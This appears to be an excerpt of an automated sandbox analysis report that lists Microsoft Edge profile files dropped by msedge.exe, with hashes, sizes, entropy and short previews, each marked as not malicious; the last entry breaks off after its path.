SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5f69c34b-f6cb-454d-a088-6ecfe3c5db95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8a9249d7-adc1-416f-8b5a-78b952ddd8fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF380aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.274768247931291
Encrypted:	false
SSDEEP:	6:HU9Q6+q2P923oH+TcwtzjqEKj0QMxIFUt8YU9Qv5Zmw+YU9Q5VkwO923oH+TcwtT:Nbv4YebvqBZFUt88v5/+8H5LYebvqBaJ
MD5:	523BBA52B85EB1DE908B3BDFA177AAC9
SHA1:	DB3773B6F3BC169920E14B91030CBC201EC9EC72
SHA-256:	E375726603EE3BE5C826B0CA42A13787C749CAA15CD68CEFC7EB738CB38975E1
SHA-512:	3129BBEB85BBD79D688BFCA734382D72031AAA2823196AD0217C9BF06E349FCE253703C798CC067AA2D3C8F6D412963BF682C16D8A6A452936914D51DCCF6B91
Malicious:	false
Preview:	2024/11/19-18:19:34.563 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-18:19:34.564 6f8 Recovering log #3.2024/11/19-18:19:34.568 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.274768247931291
Encrypted:	false
SSDEEP:	6:HU9Q6+q2P923oH+TcwtzjqEKj0QMxIFUt8YU9Qv5Zmw+YU9Q5VkwO923oH+TcwtT:Nbv4YebvqBZFUt88v5/+8H5LYebvqBaJ
MD5:	523BBA52B85EB1DE908B3BDFA177AAC9
SHA1:	DB3773B6F3BC169920E14B91030CBC201EC9EC72
SHA-256:	E375726603EE3BE5C826B0CA42A13787C749CAA15CD68CEFC7EB738CB38975E1
SHA-512:	3129BBEB85BBD79D688BFCA734382D72031AAA2823196AD0217C9BF06E349FCE253703C798CC067AA2D3C8F6D412963BF682C16D8A6A452936914D51DCCF6B91
Malicious:	false
Preview:	2024/11/19-18:19:34.563 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-18:19:34.564 6f8 Recovering log #3.2024/11/19-18:19:34.568 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.160305742588445
Encrypted:	false
SSDEEP:	6:HUIIq2P923oH+TcwtpIFUt8YUIZZmw+YUIzkwO923oH+Tcwta/WLJ:zIv4YebmFUt8SZ/+Sz5LYebaUJ
MD5:	585C21FC946E2158C64164E1F97D8586
SHA1:	E7D86D468E24E71A63B81BD919CB068187C72CA3
SHA-256:	51EFD3B79022850F87D42D3AD20CAA4051BE9C6B67C1CB19C303D827EEB77CC0
SHA-512:	580753641DE1E741DE729A8AC8D27A1ED4817D7EEF3DBC4486D69A246CBB535ED3D004961606A6631ED9B7F83CB93C0CD8733979BE6AE92D9106791B964BABF1
Malicious:	false
Preview:	2024/11/19-18:19:14.246 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-18:19:14.246 1ec0 Recovering log #3.2024/11/19-18:19:14.246 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.160305742588445
Encrypted:	false
SSDEEP:	6:HUIIq2P923oH+TcwtpIFUt8YUIZZmw+YUIzkwO923oH+Tcwta/WLJ:zIv4YebmFUt8SZ/+Sz5LYebaUJ
MD5:	585C21FC946E2158C64164E1F97D8586
SHA1:	E7D86D468E24E71A63B81BD919CB068187C72CA3
SHA-256:	51EFD3B79022850F87D42D3AD20CAA4051BE9C6B67C1CB19C303D827EEB77CC0
SHA-512:	580753641DE1E741DE729A8AC8D27A1ED4817D7EEF3DBC4486D69A246CBB535ED3D004961606A6631ED9B7F83CB93C0CD8733979BE6AE92D9106791B964BABF1
Malicious:	false
Preview:	2024/11/19-18:19:14.246 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-18:19:14.246 1ec0 Recovering log #3.2024/11/19-18:19:14.246 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650119259901957
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM1SAELyKOMq+8yC8F/YfU5m+OlTLVumE:Bq+n0J19ELyKOMq+8y9/Owz
MD5:	AE843FAD361C1ADC9B4DDCD8C0F79E4F
SHA1:	780FA0DD73C8D2FDE0A370D44D51CA132438875E
SHA-256:	1ABF2FE982B424C44BC871EB68FB864EC5416DFFC395C078E0FAE4C98AD2B683
SHA-512:	497C6B049F01277A761B2DD99DF07EB4B9CFA6E05E372619746101BCD01F580544D4B90C9E8C12EC5DBB2ED05C0D6FF4C5838AF803C37CEC0D6D82FE487D213F
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4665751462044994
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB01S:v7doKsKuKZKlZNmu46yjx0M
MD5:	81D42B45FE3A4D31207F2A078FEAEB32
SHA1:	4CB5B80726292C28E3A3E36FEBD35614CB7B8837
SHA-256:	A785898C5B54DE4F6C97C0FBFE0BEF84820B21549EAC032163E922C4493344B1
SHA-512:	CC65CB9CD43F305204138CCAF9ED413D6F6C1004B828FF75E7BD32319221A6C0D0EE0EDFD100250A0F4312E8CBCBCE3499E9DCCF9DFA57F251264F6C836A7A07
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b087f7f8-f554-4886-93d4-11a4bc818f96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26730
Entropy (8bit):	5.574874874789218
Encrypted:	false
SSDEEP:	768:tNU9ZCWP2Mf8T8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSoGAJ4WrwS/pCtu0n:tNU9ZCWP2Mf8Tu1ja/oGC4zRtd
MD5:	AC6175D40401C04A53674F3BF6EF705C
SHA1:	31AFA00144FD5AAE77E0A6B2ED4429D835332A51
SHA-256:	C8CCCBF5D171EEA74C854D2F3986579CA2488ED3413D2644ECF7A0B2A19785BB
SHA-512:	2D8DC6EAD2A8F45D52C12FA1734777855C492DBBE445D101E6605FE8DE82757F886EF48803B4E84E069E4F920230757738DE0775B4D5BBEC34D70F75E3DC7C5B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376531954115174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376531954115174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b9299721-278d-4cc5-b1c1-6566e7d36914.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36990
Entropy (8bit):	5.563765396386546
Encrypted:	false
SSDEEP:	768:t0+94CWP2MfuT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYo/AJvWrwYbbaZqKpCtu+:t0+94CWP2MfuTu1ja1o/Cvz6ba4/tt
MD5:	718E33864AF9E71100DAA207B136BD95
SHA1:	60AF075F9B59BCF4CCE1EFBC48F87A88BDD0BF85
SHA-256:	4E927C8D32A38BDB8096760AA70A781B708C39DC35D0913238E8A5CED6D051AF
SHA-512:	905201546E5B40B64DFC1F7C0405EDE75AD90DB84C270617ECA9647DDE89692FD943012A6E8BCECFC500D8D70E4916BD10F2822A49AC8B956EB325DA177BEC57
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376531954115174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376531954115174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c80d318a-74df-404d-9906-79a657fe4b2b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36991
Entropy (8bit):	5.56378157327372
Encrypted:	false
SSDEEP:	768:t0+94CWP2Mf1T8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYo/AJvWrwYbbtZqKpCtuV:t0+94CWP2Mf1Tu1ja1o/Cvz6bt4/tO
MD5:	687C747A74D9FABD8C0F79AE0BDEE147
SHA1:	DFB135EF427F4822F99BDA956C66F36F5E2D4C74
SHA-256:	F33B72F216BCE09A9BC7E76F70D8917A881F83ED47C29264064E6954E197A623
SHA-512:	889F879EC74B2CD2B8B8C1218E58A6B1914F9310A80348B53B62E8FECB45B7D5A2881E003A186DBF88FA0050286603D6E45ECB5481C812E341D363D87E082777
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376531954115174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376531954115174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eb73bce3-ed62-40a3-b48b-c27766356b89.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f270297d-aec8-4c48-b2d8-985bd46cb760.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10263924251006398
Encrypted:	false
SSDEEP:	6:Gu0M0a89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Unnf:+NaspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	93D09FDC4149281EA90CE21E3FDB6CF6
SHA1:	6B87D54620FE8D6CF951FEB7FDB863A03E19426B
SHA-256:	89998BAAC175F7E97D3A9A433C65FA7448F29872EA5B17FC4A199483FBF47E1D
SHA-512:	A498AC0392B111EE08F0DC600F8C44FF0EE033787ACB4911B28B9C3BF263793E28361DB39288B0D35E3E115ECEDD08EBE878C3BC6AD42F342B33FDD8CE046AD6
Malicious:	false
Preview:	..-.............M.......a.......4..}....0...B...-.............M.......a.......4..}....0...B.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.890357704090374
Encrypted:	false
SSDEEP:	384:G2qvw5ZpajKPuqmyb8y4ETn/RfIK68LT8LbtO7351tXNLv8hyyly+PyKyuXyjxyS:1YzWtvmc3PPn
MD5:	CD851C406E567CBF48206BD58A5E337D
SHA1:	766D146299671F967B9356A3D0763CABA8AA2266
SHA-256:	63A8041D261D16607E0E56063894C7381B3BA70190F27ECA529968B6BEA51B4E
SHA-512:	A598BDD07C29C99E09594977C4E8295975CF18A49D5F52AE6B082AAD368D4AD396E177ACCEFEDDE381A8EF4DE67C0D528F1A6A175176123FDCEB829AC397CFC7
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.519803091555325
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuOhllduv8PZ8+:iDLldgCp
MD5:	E91CE47C49E0354D7E2D78487FB4A38B
SHA1:	C833E98DE296312B2426337771D8C8D89B76C011
SHA-256:	8A2089A58069A7F418707869E57BDBF18914FC927684DA8DF9BCB02776518D93
SHA-512:	D89A2772C148667A9B3721B56CDA3A893025B8B31FC3BE0A8EF0066EAC315C3AAF55FA3F3558B2D2B60FAC763C8C99B82C31A83300425031AB7C97787A4DD19F
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................%;...............#38_h.......6.Z..W.F.....M.......M............V.e...................j0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.178095169372338
Encrypted:	false
SSDEEP:	6:HUeKM+q2P923oH+TcwtfrK+IFUt8YUe3Zmw+YUeXcqMVkwO923oH+TcwtfrUeLJ:SM+v4Yeb23FUt8Y/++cqMV5LYeb3J
MD5:	76CC1C65CF5780A738052C25A38CD397
SHA1:	9EBB15406D3D547968629F9027E100918F049883
SHA-256:	0E58212F5E20B7FC7F1B7829B3BE1D5F95F833BBB8B485A7E2556417CCDE5BAB
SHA-512:	0F0F5C313ECE33E0F239E1680E7A0CF04FDEB67284502BAE0066EB10FDC3E86BC0D151861FCCEDEE3586E5327E90EA46C2A3E0335A316503A792CFA0886B0291
Malicious:	false
Preview:	2024/11/19-18:19:14.922 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-18:19:14.922 14fc Recovering log #3.2024/11/19-18:19:14.923 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

